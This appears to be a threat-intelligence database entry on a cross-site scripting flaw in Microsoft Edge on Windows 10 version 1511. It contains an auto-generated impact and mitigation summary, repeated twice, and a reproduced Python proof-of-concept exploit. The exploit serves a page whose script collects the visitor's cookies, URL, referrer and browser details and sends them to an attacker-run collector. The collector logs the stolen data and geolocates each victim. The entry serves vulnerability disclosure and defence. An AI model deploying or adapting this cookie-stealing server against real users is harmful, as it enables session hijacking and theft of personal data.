Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
AI Analysis
Technical Summary
This security threat concerns a Cross Site Scripting (XSS) vulnerability affecting Microsoft Edge on Windows 10 Version 1511. XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially enabling session hijacking, credential theft, or the execution of arbitrary code within the context of the victim's browser. The affected product is Microsoft Edge running on an outdated Windows 10 version (1511), which was released in late 2015 and is no longer supported by Microsoft. The exploit is classified as remote, indicating that an attacker can trigger the vulnerability without local access, typically by convincing a user to visit a malicious or compromised web page. The presence of exploit code written in Python suggests that proof-of-concept or automated exploitation scripts exist, facilitating potential attacks by less skilled adversaries. However, there are no known exploits in the wild reported at this time, and no official patches or mitigations have been linked, likely due to the product's end-of-life status. The lack of detailed CWE identifiers or technical specifics limits the depth of analysis, but the core risk remains that malicious scripts can be injected and executed in the context of the vulnerable browser, compromising user data and system integrity.
Potential Impact
For European organizations, this XSS vulnerability poses a moderate risk primarily to users who continue to operate Windows 10 Version 1511 with Microsoft Edge. Since this version is outdated and unsupported, organizations that have not upgraded or patched their systems remain exposed. Successful exploitation could lead to theft of sensitive information, session tokens, or unauthorized actions performed on behalf of the user within web applications. This could impact confidentiality and integrity of data, especially in sectors handling personal data under GDPR, such as finance, healthcare, and government services. Additionally, compromised browsers could serve as footholds for further network intrusion or lateral movement. However, the impact is somewhat limited by the requirement that users must be running this specific outdated version and interact with malicious content. Organizations with robust patch management and endpoint security are less likely to be affected.
Mitigation Recommendations
Given the affected Windows 10 version (1511) is no longer supported, the primary mitigation is to upgrade all systems to a supported and fully patched version of Windows 10 or Windows 11, ensuring the latest Microsoft Edge browser is installed. Organizations should enforce strict update policies and deprecate legacy systems. Additionally, deploying web filtering and endpoint protection solutions can help block access to malicious websites that might exploit this vulnerability. User awareness training to avoid clicking suspicious links or visiting untrusted sites is also critical. Network segmentation and monitoring for unusual browser behavior can help detect exploitation attempts. Since no official patches are available, compensating controls such as disabling legacy browsers or restricting their use to non-critical environments should be considered.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Poland, Netherlands
Indicators of Compromise
- exploit-code: # Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS) # Author: nu11secur1ty # Date: 2025-07-18 # Vendor: Microsoft # Software: Microsoft Edge Browser # Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176 #!/usr/bin/python # nu11secur1ty CVE-2015-6176 import http.server import socketserver import socket import threading from urllib import parse import requests import datetime PORT = 8080 COLLECTOR_PORT = 9000 # HTML page with extended XSS exploit that sends lots of info via Image GET to collector HTML_CONTENT = b\\\"\\\"\\\"<!DOCTYPE html> <html lang=\\\"en\\\"> <head> <meta charset=\\\"UTF-8\\\" /> <title>XSS Edge Bypass PoC</title> <script> window.onload = function() { try { var attackerServer = \\\"http://{LOCAL_IP}:{COLLECTOR_PORT}/collect\\\"; var cookies = document.cookie || \\\"\\\"; var url = window.location.href; var referrer = document.referrer; var language = navigator.language || \\\"\\\"; var platform = navigator.platform || \\\"\\\"; var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone || \\\"\\\"; var screenRes = screen.width + \\\"x\\\" + screen.height; var data = { cookie: cookies, url: url, referrer: referrer, language: language, platform: platform, timezone: timezone, screen: screenRes }; var query = Object.keys(data).map(function(k) { return encodeURIComponent(k) + \\\"=\\\" + encodeURIComponent(data[k]); }).join(\\\"&\\\"); var img = new Image(); img.src = attackerServer + \\\"?\\\" + query; } catch(e) { console.error(\\\"Error sending data:\\\", e); } }; </script> </head> <body> <h1 style=\\\"color:red;\\\">XSS Edge Bypass PoC</h1> <p>If this alert appears, XSS is executed.</p> </body> </html> \\\"\\\"\\\" # Collector page with large sea picture and centered message (Unicode allowed) COLLECTOR_PAGE = \\\"\\\"\\\"<!DOCTYPE html> <html lang=\\\"en\\\"> <head> <meta charset=\\\"UTF-8\\\" /> <title>Collected</title> <style> body { margin: 0; background: url(\\\' https://images.unsplash.com/photo-1506744038136-46273834b3fb?auto=format&fit=crop&w=1350&q=80\\\') no-repeat center center fixed; background-size: cover; height: 100vh; display: flex; justify-content: center; align-items: center; color: white; font-family: Arial, sans-serif; font-size: 2em; text-shadow: 2px 2px 5px rgba(0,0,0,0.7); } </style> </head> <body> <div>Thank you for visiting the collector page </div> </body> </html> \\\"\\\"\\\" class ExploitHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): if self.path in (\\\'/\\\', \\\'/index.html\\\'): content = HTML_CONTENT.replace(b\\\"{LOCAL_IP}\\\", local_ip.encode()).replace(b\\\"{COLLECTOR_PORT}\\\", str(COLLECTOR_PORT).encode()) self.send_response(200) self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\") self.send_header(\\\"Content-Length\\\", str(len(content))) self.end_headers() self.wfile.write(content) else: self.send_error(404) class CollectorHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): parsed_path = parse.urlparse(self.path) if parsed_path.path == \\\"/collect\\\": query = parse.parse_qs(parsed_path.query) cookie = query.get(\\\"cookie\\\", [\\\"\\\"])[0] url = query.get(\\\"url\\\", [\\\"\\\"])[0] referrer = query.get(\\\"referrer\\\", [\\\"\\\"])[0] language = query.get(\\\"language\\\", [\\\"\\\"])[0] platform = query.get(\\\"platform\\\", [\\\"\\\"])[0] timezone = query.get(\\\"timezone\\\", [\\\"\\\"])[0] screen = query.get(\\\"screen\\\", [\\\"\\\"])[0] ip = self.client_address[0] user_agent = self.headers.get(\\\"User-Agent\\\", \\\"Unknown\\\") timestamp = datetime.datetime.now().strftime(\\\"%Y-%m-%d %H:%M:%S\\\") location = self.get_location(ip) if cookie: print(f\\\"[{timestamp}] [+] Collected cookie: {cookie}\\\") print(f\\\" URL: {url}\\\") print(f\\\" Referrer: {referrer}\\\") print(f\\\" Language: {language}\\\") print(f\\\" Platform: {platform}\\\") print(f\\\" Timezone: {timezone}\\\") print(f\\\" Screen Resolution: {screen}\\\") print(f\\\" From IP: {ip}\\\") print(f\\\" User-Agent: {user_agent}\\\") print(f\\\" Location: {location}\\\") print(\\\"-\\\" * 50) # Save collected info to a file with open(\\\"collected_data.log\\\", \\\"a\\\", encoding=\\\"utf-8\\\") as f: f.write(f\\\"[{timestamp}] Cookie: {cookie}\\\\n\\\") f.write(f\\\" URL: {url}\\\\n\\\") f.write(f\\\" Referrer: {referrer}\\\\n\\\") f.write(f\\\" Language: {language}\\\\n\\\") f.write(f\\\" Platform: {platform}\\\\n\\\") f.write(f\\\" Timezone: {timezone}\\\\n\\\") f.write(f\\\" Screen Resolution: {screen}\\\\n\\\") f.write(f\\\" IP: {ip}\\\\n\\\") f.write(f\\\" User-Agent: {user_agent}\\\\n\\\") f.write(f\\\" Location: {location}\\\\n\\\") f.write(\\\"-\\\" * 50 + \\\"\\\\n\\\") self.send_response(200) self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\") content = COLLECTOR_PAGE.encode(\\\'utf-8\\\') self.send_header(\\\"Content-Length\\\", str(len(content))) self.end_headers() self.wfile.write(content) else: self.send_error(404) def get_location(self, ip): # Use free IP info service; fallback gracefully if no internet try: resp = requests.get(f\\\"https://ipinfo.io/{ip}/json\\\", timeout=3) if resp.status_code == 200: data = resp.json() city = data.get(\\\"city\\\", \\\"\\\") region = data.get(\\\"region\\\", \\\"\\\") country = data.get(\\\"country\\\", \\\"\\\") loc = data.get(\\\"loc\\\", \\\"\\\") return f\\\"{city}, {region}, {country} (coords: {loc})\\\" except Exception: pass return \\\"Location lookup failed or unavailable\\\" def get_local_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect((\\\"8.8.8.8\\\", 80)) ip = s.getsockname()[0] except Exception: ip = \\\"127.0.0.1\\\" finally: s.close() return ip def run_exploit_server(): with socketserver.TCPServer((\\\"\\\", PORT), ExploitHandler) as httpd: print(f\\\"[*] Exploit server running at: http:// {local_ip}:{PORT}/index.html\\\") httpd.serve_forever() def run_collector_server(): with socketserver.TCPServer((\\\"\\\", COLLECTOR_PORT), CollectorHandler) as httpd: print(f\\\"[*] Collector server listening for stolen cookies at: http://{local_ip}:{COLLECTOR_PORT}/collect\\\") httpd.serve_forever() if __name__ == \\\"__main__\\\": local_ip = get_local_ip() try: print(f\\\"[*] Your server IP is: {local_ip}\\\") exploit_thread = threading.Thread(target=run_exploit_server, daemon=True) exploit_thread.start() run_collector_server() except KeyboardInterrupt: print(\\\"\\\\n[!] Shutting down servers. Goodbye!\\\") ``` # Video: [href](https://www.youtube.com/watch?v=T2YLrFsvXOc) # Source: [href]( https://github.com/nu11secur1ty/CVE-mitre/tree/main/2025/CVE-2015-6176) # Buy me a coffee if you are not ashamed: [href](https://www.paypal.com/donate/?hosted_button_id=ZPQZT5XMC5RFY)
Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
Description
Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
AI-Powered Analysis
Technical Analysis
This security threat concerns a Cross Site Scripting (XSS) vulnerability affecting Microsoft Edge on Windows 10 Version 1511. XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially enabling session hijacking, credential theft, or the execution of arbitrary code within the context of the victim's browser. The affected product is Microsoft Edge running on an outdated Windows 10 version (1511), which was released in late 2015 and is no longer supported by Microsoft. The exploit is classified as remote, indicating that an attacker can trigger the vulnerability without local access, typically by convincing a user to visit a malicious or compromised web page. The presence of exploit code written in Python suggests that proof-of-concept or automated exploitation scripts exist, facilitating potential attacks by less skilled adversaries. However, there are no known exploits in the wild reported at this time, and no official patches or mitigations have been linked, likely due to the product's end-of-life status. The lack of detailed CWE identifiers or technical specifics limits the depth of analysis, but the core risk remains that malicious scripts can be injected and executed in the context of the vulnerable browser, compromising user data and system integrity.
Potential Impact
For European organizations, this XSS vulnerability poses a moderate risk primarily to users who continue to operate Windows 10 Version 1511 with Microsoft Edge. Since this version is outdated and unsupported, organizations that have not upgraded or patched their systems remain exposed. Successful exploitation could lead to theft of sensitive information, session tokens, or unauthorized actions performed on behalf of the user within web applications. This could impact confidentiality and integrity of data, especially in sectors handling personal data under GDPR, such as finance, healthcare, and government services. Additionally, compromised browsers could serve as footholds for further network intrusion or lateral movement. However, the impact is somewhat limited by the requirement that users must be running this specific outdated version and interact with malicious content. Organizations with robust patch management and endpoint security are less likely to be affected.
Mitigation Recommendations
Given the affected Windows 10 version (1511) is no longer supported, the primary mitigation is to upgrade all systems to a supported and fully patched version of Windows 10 or Windows 11, ensuring the latest Microsoft Edge browser is installed. Organizations should enforce strict update policies and deprecate legacy systems. Additionally, deploying web filtering and endpoint protection solutions can help block access to malicious websites that might exploit this vulnerability. User awareness training to avoid clicking suspicious links or visiting untrusted sites is also critical. Network segmentation and monitoring for unusual browser behavior can help detect exploitation attempts. Since no official patches are available, compensating controls such as disabling legacy browsers or restricting their use to non-critical environments should be considered.
Affected Countries
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Technical Details
- Edb Id
- 52372
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
# Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS) # Author: nu11secur1ty # Date: 2025-07-18 # Vendor: Microsoft # Software: Microsoft Edge Browser # Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176 #!/usr/bin/python # nu11secur1ty CVE-2015-6176 import http.server import socketserver import socket import threading from urllib import parse import requests import datetime PORT = 8080 COLLECTOR_PORT = 9000 # HTML page with extended XSS exploit that sends lots... (7586 more characters)
Threat ID: 687ffbf0a915ff00f7fb52c5
Added to database: 7/22/2025, 9:00:32 PM
Last enriched: 8/18/2025, 1:21:19 AM
Last updated: 8/29/2025, 9:03:28 AM
Views: 28
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